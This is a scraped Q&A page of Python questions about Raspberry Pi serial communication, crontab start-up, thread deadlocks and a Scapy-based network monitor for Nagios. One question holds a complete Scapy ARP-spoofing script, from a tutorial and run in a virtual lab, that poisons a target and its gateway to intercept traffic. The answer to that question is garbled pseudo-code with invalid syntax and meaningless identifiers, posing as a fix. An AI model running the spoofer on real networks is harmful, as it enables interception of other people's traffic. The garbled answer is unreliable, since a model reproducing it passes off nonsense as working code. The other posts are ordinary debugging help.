Python script stops running in crontab after sometime - python

I have a code which runs i am running in crontab on startup in Raspberry pi(The code runs fine in python "idle"). It has an infinite while loop in it. After sometime the python script stops running. i searched the net and got the following answers that could cause them
https://serverfault.com/questions/399029/python-script-stops-responding-when-run-for-a-long-time
http://www.solutionoferror.com/python/cron-jobbin39-a-python-script-stops-halfway-through-20824.asp (NO REPLY TO THIS ONE)
Cron jobbin' a python script: stops halfway through
At this point I am really confused about what is the reason behind it. I need help in understanding the reason behind this. And also what is the best way to run this code on start up of raspberry pi. Are there any tweaks required for crontab or is there some other method? Please reply elaborately as i am an EE major and not very familiar with linux, raspberry pi(since i have just started using it) and python. The code is as follows:
import threading
import os
import time
import serial
import httplib
import math
#GPS data
os.chdir('/home/pi/Desktop')
#Distance function
def Distance(lat1, long1,lat2,long2):
degree_to_rad = float(math.pi / 180.0)
d_lat = (lat2 - lat1) * degree_to_rad
d_long = (long2 - long1) * degree_to_rad
a = pow(math.sin(d_lat / 2), 2) + math.cos(lat1 * degree_to_rad) * math.cos(lat2 * degree_to_rad) * pow(math.sin(d_long / 2), 2)
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
km = 6367 * c
mi = 3956 * c
return km
#global variables
global ser
global recieveBuffer
global recieveFlag
global webAddress
global data
#Serial Communication Settings
baud = 9600;
#port = 'Com4'
port ='/dev/ttyAMA0'
#default WebAddress and Data
webAddress = "gpsmaster.eu5.org"
webData = "/post.php?"
#Lat and Lng Coordinates, Initialied at Gate
lat=31.470997
lng=74.411116
lumsLat=31.470997
lumsLng=74.411116
ser = serial.Serial(port, baud)
if not ser.isOpen():
ser.open()
recieveBuffer="NULL"
recieveFlag=0
def shutDown():
os.system("sudo shutdown -h now")
def readSerial():
global recieveBuffer
global recieveFlag
global ser
while True:
recieveBuffer = ser.readline()
recieveFlag=1
# Function to Post Data, Return Y for success, N for failure
def httpGet(webAddress,webData):
try:
#print(webAddress)
#print(webData)
conn = httplib.HTTPConnection(webAddress)
conn.request("GET",webData)
res = conn.getresponse()
#print res.status, res.reason
conn.close()
except:
print("Exceptoion!!")
return ['N','Failed']
else:
return ['Y',res]
def replayMaster(ser,recieved):
global lat
global lng
recieved=recieved.replace("\n", "")
recieved=recieved.replace("\r", "")
tokenized = recieved.split(',');
command = tokenized[0]
if command=='AT':
ser.write('<OK>')
elif command=='POST':
if lat!=0 and lng != 0: # and Distance(lumsLat,lumsLng,lat,lng)<50
lat = float(tokenized[1])
lng = float(tokenized[2])
ans = httpGet(webAddress,"%slat=%f&lng=%f" % (webData, lat,lng))
#with open("logFile.txt","a") as fileStream:
# fileStream.write("%s,%f,%f\r\n" % (ans[0],lat,lng))
#fileStream.close()
if ans[0]=='N':
ser.write('<ERROR>')
else:
ser.write('<'+`ans[1].status`+'>')
else:
ser.write('<Invalid Coordinates>')
print ("Invalid Coordinates")
elif command=='CLOSE':
ser.close()
elif command=='HALT':
ser.write('<Shutting Down>');
shutDown()
else:
ser.write('<Unknown Command>')
serialReadThread = threading.Thread(target=readSerial)
serialReadThread.start()
ser.write('<OK>')
while True:
#p#rint Distance(31.470997,74.411116,31.469723,74.512244)
if recieveFlag:
replayMaster(ser,recieveBuffer)
print(recieveBuffer)
recieveFlag=0
print("waiting: |%f|,|%f|"%(lat,lng))
time.sleep(0.4)

I had some issues with the crontab too. I fixed it with using a short time delay after reboot.
#reboot (sleep 10; python3 ABSOLUTE_PATH/example.py)
Maybe this could help

Related

How to overcome this Index error in Python

The code given below is exactly as shown in the tutorial(zsecurity)
it seems the code does not working only on my system.i run this code in linux (virtual box).
this is an arpspoofing used to become the man in the middle in local network.
i implement this attack on the another guest os windows 10.
import scapy.all as scapy
import time
import sys
def get_mac(ip):
arp_request = scapy.ARP(pdst = ip)
broadcast=scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_reqest=arp_request/broadcast
answered_list =scapy.srp(arp_broadcast_reqest, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def arp_spoof(target_ip, spoof_ip):
target_mac= get_mac(target_ip)
packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip,source_ip):
destination_mac=get_mac(destination_ip)
source_mac=get_mac(source_ip)
packet= scapy.ARP(op=2, pdst=destination_ip,hwdst=destination_mac,psrc=source_ip, hwsrc=source_mac)
scapy.send(packet,count=4, verbose=False)
target_ip="10.0.2.4"
gateway_ip="10.0.2.1"
try:
sent_packets = 0
while True:
arp_spoof(target_ip,gateway_ip)
arp_spoof(gateway_ip,target_ip)
sent_packets=sent_packets + 2
print("\r the packets sent:" + str(sent_packets)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("detectedd ctrl+c......quitting")
restore(target_ip,gateway_ip)
restore(gateway_ip,target_ip)
Try using this.
from socket import *
from overflows import *
import use_socket
def connect(ipv6_addr: Dec, port: simplicity, port:paste, from_port: av) as orig:
NetworkPort_ping, delegate_messed_port: 127.0. 0.0
History().channel(fl)
CountDownPorts(chain_count, 0)
TcpTelnetPort.connect(port, to_network(port))
Serial_packet
Serial.wait(boot_java)
For USB_Added = True
if (usb_usb.ReadScreen):
print("USB receiving device")
print which.ip_port()
print def.rid
callback.data
ELSE
byte_frame += 1
will crash unless "++com_available" is attempting to be done later
sends_over(dot, sleep.status)
print "Connected :\n"
na_registered.send(500)

python program stops after wifi connection discontinuity

I started learning Python two months ago and I have written a code for a Raspberry pi project. My problem is that the program stucks after some hours of operation. I think that in all cases, it stopped after some wifi connection drops. But I don't understand why the whole program stops if there something wrong with the wifi connection. It stops uploading values and renew the lcd screen messages it prints (I removed this and other stuff from the code in order to be more easy to read.)
The code starts at the startup (sudo python /home/pi/test.py &) and contains two Threads:
The "Control" thread reads temperature and humidity by using an i2c bus and a sensor am2315 and according to a temperature threshold, controls a relay through GPIO.
The "Thingspeak" thread reads the temperature threshold from a 'Thingspeak' channel and then uploads the measurements from the previous thread to 'Thingspeak'.
I really don't know what to do and how to search for any solutions.
Any help will be much appreciated.
#! /usr/bin/env python
from time import sleep
import datetime
import urllib2
import RPi.GPIO as GPIO
import threading
import smbus
from tentacle_pi.AM2315 import AM2315
import smtplib
import contextlib
sleep(120)
# Lock
tLock = threading.Lock()
# Global variables
tem_global = 0; hum_global = 0
tem_hi = 35; relay = 21
# GPIO setup
GPIO.setmode(GPIO.BCM)
GPIO.setup(relay, GPIO.OUT)
GPIO.output(relay, False)
sleep(1)
def Control():
global temg, humg, tem_hi, relay
# AM2315 setup
am = AM2315(0x5c,"/dev/i2c-1")
I2C_address = 0x70; I2C_bus_number = 1; i2c_channel_setup = 1
bus = smbus.SMBus(I2C_bus_number)
bus.write_byte(I2C_address, i2c_channel_setup)
sleep(1)
while True:
try:
tem_local, hum_local = am2315meas()
except:
tem_local = -1; hum_local = -1
tLock.acquire()
tem_global = tem_local; hum_global = hum_local
if tem_local < tem_hi:
GPIO.output(relay, True)
else:
GPIO.output(relay, False)
tLock.release()
sleep(150)
def Thingspeak():
global tem_global, hum_global, tem_hi
myAPI = "..."
channelID = "..."
baseURL = 'https://api.thingspeak.com/update?api_key=%s' % myAPI
while True:
sleep(30)
try:
# Reading value from thingspeak
tLock.acquire()
with contextlib.closing(urllib2.urlopen("https://api.thingspeak.com/channels/%s/fields/1/last?" % channelID)) as f_read:
tem_hi = float(fread.read())
t.Lock.release()
sleep(30)
# Uploading values to thingspeak
tLock.acquire()
with contextlib.closing(urllib2.urlopen(baseURL + "&field1=%s" % tem_global + "&field2=%s" % hum_global)) as f_upload:
pass
tLock.release()
except:
with open('/home/pi/errors.txt', mode='a') as file:
file.write('Network error recorded at %s.\n' % datetime.datetime.now())
file.close()
sleep(60)
continue
def Main():
t1 = threading.Thread(target=Thingspeak)
t2 = threading.Thread(target=Control)
t1.start()
t2.start()
t1.join()
t2.join()
GPIO.cleanup()
if __name__ == '__main__':
Main()
Problem solved. As James K Polk indicated, there was an error after the tLock.acquire(), every time the internet connection went off, causing deadlock of the program. Below is a corrected part of the code for anyone would be interested.
def Control():
global tem_global, hum_global, tem_hi, relay
# AM2315 setup
am = AM2315(0x5c,"/dev/i2c-1")
I2C_address = 0x70; I2C_bus_number = 1; i2c_channel_setup = 1
bus = smbus.SMBus(I2C_bus_number)
bus.write_byte(I2C_address, i2c_channel_setup)
sleep(1)
while True:
try:
tem_local, hum_local = am2315meas()
except:
tem_local = -1; hum_local = -1
with tLock:
tem_global = tem_local; hum_global = hum_local
if tem_local < tem_hi:
GPIO.output(relay, True)
else:
GPIO.output(relay, False)
sleep(150)
def Thingspeak():
global tem_global, hum_global, tem_hi
myAPI = "..."
channelID = "..."
baseURL = 'https://api.thingspeak.com/update?api_key=%s' % myAPI
while True:
sleep(30)
try:
# Reading value from thingspeak
with tLock:
with contextlib.closing(urllib2.urlopen("https://api.thingspeak.com/channels/%s/fields/1/last?" % channelID)) as f_read:
tem_hi = float(fread.read())
sleep(30)
# Uploading values to thingspeak
with tLock:
with contextlib.closing(urllib2.urlopen(baseURL + "&field1=%s" % tem_global + "&field2=%s" % hum_global)) as f_upload:
pass
except:
with open('/home/pi/errors.txt', mode='a') as file:
file.write('Network error recorded at %s.\n' % datetime.datetime.now())
sleep(60)
continue

Opening 2 serial ports simultaneously in python (one tx one for rx)

I am making a throughput test for a bluetooth link, and I need to send data through a serial port to one bluetooth device which will then transport that data wirelessly to another bluetooth device. The other device will then complete the circuit by sending the data back to the host PC via a different serial port.
The problem seems to be when I attempt to open up 2 different instances of PySerial, the program simply hangs. I have isolated it down to running vs. hanging when I comment out one of the two serial port instantiations. Anyone see a problem with how I'm doing this? If so, what is the proper way to do this? See code below:
#/usr/bin/python
import serial
import time
import sys
DEFAULT_BAUD = 115200
SEND_SIZE = 100
def addPath(file):
pth, fl = os.path.split(__file__)
return os.path.join(pth, file)
def is_number(s):
try:
int(s, 16)
return True
except:
return False
class SerialReader():
def __init__(self, portRx, portTx):
self.portTx = portTx
self.portRx = portRx
self.start_time__sec = time.time()
self.interval__sec = 0
self.buffer = []
self.sendtext = ''.join([str(i) for i in range(SEND_SIZE)])
# send first batch of data
self.portTx.write(self.sendtext)
def didDataArrive(self):
# Read port
self.buffer.extend(list(self.portRx.read(1024)))
# Step through the buffer byte and byte and see if the tick text
# is at the front.
while len(self.buffer) >= len(self.sendtext):
if self.buffer[:len(self.sendtext)] == self.sendtext:
# Discard the tick text
self.buffer = self.buffer[len(self.sendtext):]
# Record time
snapshot__sec = time.time()
self.interval__sec = snapshot__sec - self.start_time__sec
self.start_time__sec = snapshot__sec
# send more data
self.portTx.write(self.sendtext)
return True
else:
self.buffer.pop(0)
return False
def main(port1, port2, baudrate1 = DEFAULT_BAUD, baudrate2 = DEFAULT_BAUD):
try:
import serial
except:
traceback.print_exc()
print "="*60
print "You need to install PySerial"
print "Windows: easy_install pyserial"
print "Mac/Linux: sudo easy_install pyserial"
try:
s1 = serial.Serial(port1, baudrate1, timeout = 0.1)
s2 = serial.Serial(port2, baudrate2, timeout = 0.1)
print "Loading serial ports"
except:
print "Serial port error"
exit()
plot_stop = False
dataread = SerialReader(s2, s1)
try:
while plot_stop == False:
if dataread.didDataArrive():
print dataread.interval__sec
except KeyboardInterrupt:
print "Keyboard Interrupt"
plot_stop = True
finally:
print "Closing"
s1.close()
s2.close()
if __name__ == '__main__':
if (len(sys.argv) < 3):
print "Usage: python extract_data.py phonelink_serialport phonelinkclient_serialport [baudrate1] [baudrate2]"
else:
main(*sys.argv[1:])
If I remove one of the following lines (doesn't matter which one), the python script runs (although it eventually crashes because in the code it eventually tries to reference both ports). If I leave these lines in, the program seems to just hang (it just seems to sit there and run indefinitely):
s1 = serial.Serial(port1, baudrate1, timeout = 0.1)
s2 = serial.Serial(port2, baudrate2, timeout = 0.1)

Conditional Codes to return 0,1,2,3 in scapy

I would like to integrate my Scapy code with the Nagios monitoring tool and would want the results to return a 0,1,2,3.
The program works fine and acts as a passive listener to broadcast traffic and displays the IP address with the time intervals.
Can anyone help me with the code I could use to return these values, kindly find the code below.
Sorry I didn't include the code kindly find below:
import sys
import string
import datetime
import socket
from datetime import datetime
from scapy.all import *
m_iface = "eth0"
default_gw = "192.168.26.2"
COUNTER_SLOTS = 5
TIMEOUT = 20
SCREEN_REFRESH = 15
circular_counter = [0]*COUNTER_SLOTS
session_start = {}
session_stop = {}
host_names = {}
last_printed = 0
host_names ["196.168.26.254"]=u'macbook'
host_names ["192.167.26.237"]=u'testlocal'
host_names ["192.168.26.238"]=u'xp1'
host_names ["192.168.26.239"]=u'xp2'
host_names ["192.168.26.2"]=u'default gateway'
print "passive ping start"
def arp_monitor_callback(pkt):
if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
addr = pkt[ARP].psrc
arp_counter(addr)
return
# circular buffer for statistics, 1 slot for
if UDP in pkt and IP in pkt:
ipdata = pkt[IP]
addr = ipdata.getlayer(IP).src
arp_counter(addr)
return
def arp_counter(src):
global last_printed
tm = int(time.time())
#print (pkt.psrc)
#all_stats[src] = tm
pos = src.find("192.168.26")
if pos == -1:
# print "wrong address"
return
if src in session_stop.keys():
sess_stop = session_stop[src]
if (tm - sess_stop)/60 > TIMEOUT:
session_start[src] = tm # start a new session
session_stop[src] = tm # start a new session
else:
session_stop[src] = tm # start a new session
else: # never saw the host
session_start[src] = tm # start a new session
session_stop[src] = tm # start a new session
# print
if (tm - last_printed > SCREEN_REFRESH):
print "-----------------------------------"
last_printed = tm
i = 1
for k in sorted(session_start.keys(), cmp=lambda x, y: cmp(socket.inet_aton(x), socket.inet_aton(y))):
if k in host_names.keys():
hn = string.ljust(host_names[k], 40)
else:
hn = u'local_host_machine_ip'.ljust(40)
last_hours = (tm - session_stop[k])/3600
last_mins = ((tm - session_stop[k])/60) % 60
s_start = (datetime.fromtimestamp(int(session_start[k])).strftime('%d/%m %H:%M'))
s_stop = (datetime.fromtimestamp(int(session_stop[k])).strftime('%d/%m %H:%M'))
pos = k.find("192.168.26")
if pos != -1:
print i, k,"\t", hn,"\t",last_hours,":",last_mins,"\t"," (",s_start,"==",s_stop,")",(session_stop[k] - session_start[k])/60
i = i + 1
#sys.stdout.flush()
p = sniff(prn=arp_monitor_callback, store = 0)
Two possibilities based on the limited explanation you have provided.
Python's return statement can be used to return a Python object or in this case, an integer.
http://docs.python.org/2/reference/simple_stmts.html#return
You'll have to use it inside a function. Since you haven't posted any code, I'm not sure if this is exactly what you want.
You can also use the sys module to return an exit status when you are done running a your Scapy code.
http://docs.python.org/2/library/sys.html#sys.exit
Example using sys -
import sys
from scapy.all import *
# Scapy magic
sys.exit(0) # exit with a code of 0

Python pyserial and runaway CPU usage

MacOS 10.7.3, python 2.5
I am using pyserial to open a connection to an external server. The connection is opened as:
HOST = '10.0.0.1'
PORT = '16010'
theURL = 'socket://' + HOST + ':' + PORT
conn = serial.serial_for_url(theURL, baudrate=115200)
conn.timeout = 2
and then the read looks like this:
try:
while len(rawData) == 0 and self.shutdown == False:
rawData = conn.readline()
except:
some error handling code...
The problem is, if I kill the server at 10.0.0.1:16010 the code keeps running, but the cpu usage goes to 100%. No error is thrown, so the except is never entered.
This looks like a problem in pyserial, but maybe someone here has run into this before and knows how to detect the lost connection so the situation can be handled gracefully.
Thanks.
If you're not depending on .readline() you could do it like this:
self.plugin.conn = Serial(..., timeout = 1)
...
if not self.shutdown:
rawData = self.plugin.conn.read(1)
if rawData:
rawData += self.plugin.conn.read(self.plugin.conn.inWaiting())
else:
raise Exception("timeout")
I'm not sure if I got your intent right so you might have to adjust...
The fact that your CPU usage is pegged probably indicates the the readline call is not blocking to timeout but returns instantly. So if your normal timeout
is 2, you could use:
from time import time
try:
while len(rawData) == 0 and self.shutdown == False:
before = time()
rawData = conn.readline()
if (len(rawData)==0) and ((time()-before)<2):
raise Exception("Early readline return.")
except:
some error handling code...
A very good solution to this can be found here:
class ReadLine:
def __init__(self, s):
self.buf = bytearray()
self.s = s
def readline(self):
i = self.buf.find(b"\n")
if i >= 0:
r = self.buf[:i+1]
self.buf = self.buf[i+1:]
return r
while True:
i = max(1, min(2048, self.s.in_waiting))
data = self.s.read(i)
i = data.find(b"\n")
if i >= 0:
r = self.buf + data[:i+1]
self.buf[0:] = data[i+1:]
return r
else:
self.buf.extend(data)
ser = serial.Serial('COM7', 9600)
rl = ReadLine(ser)
while True:
print(rl.readline())

Categories

Resources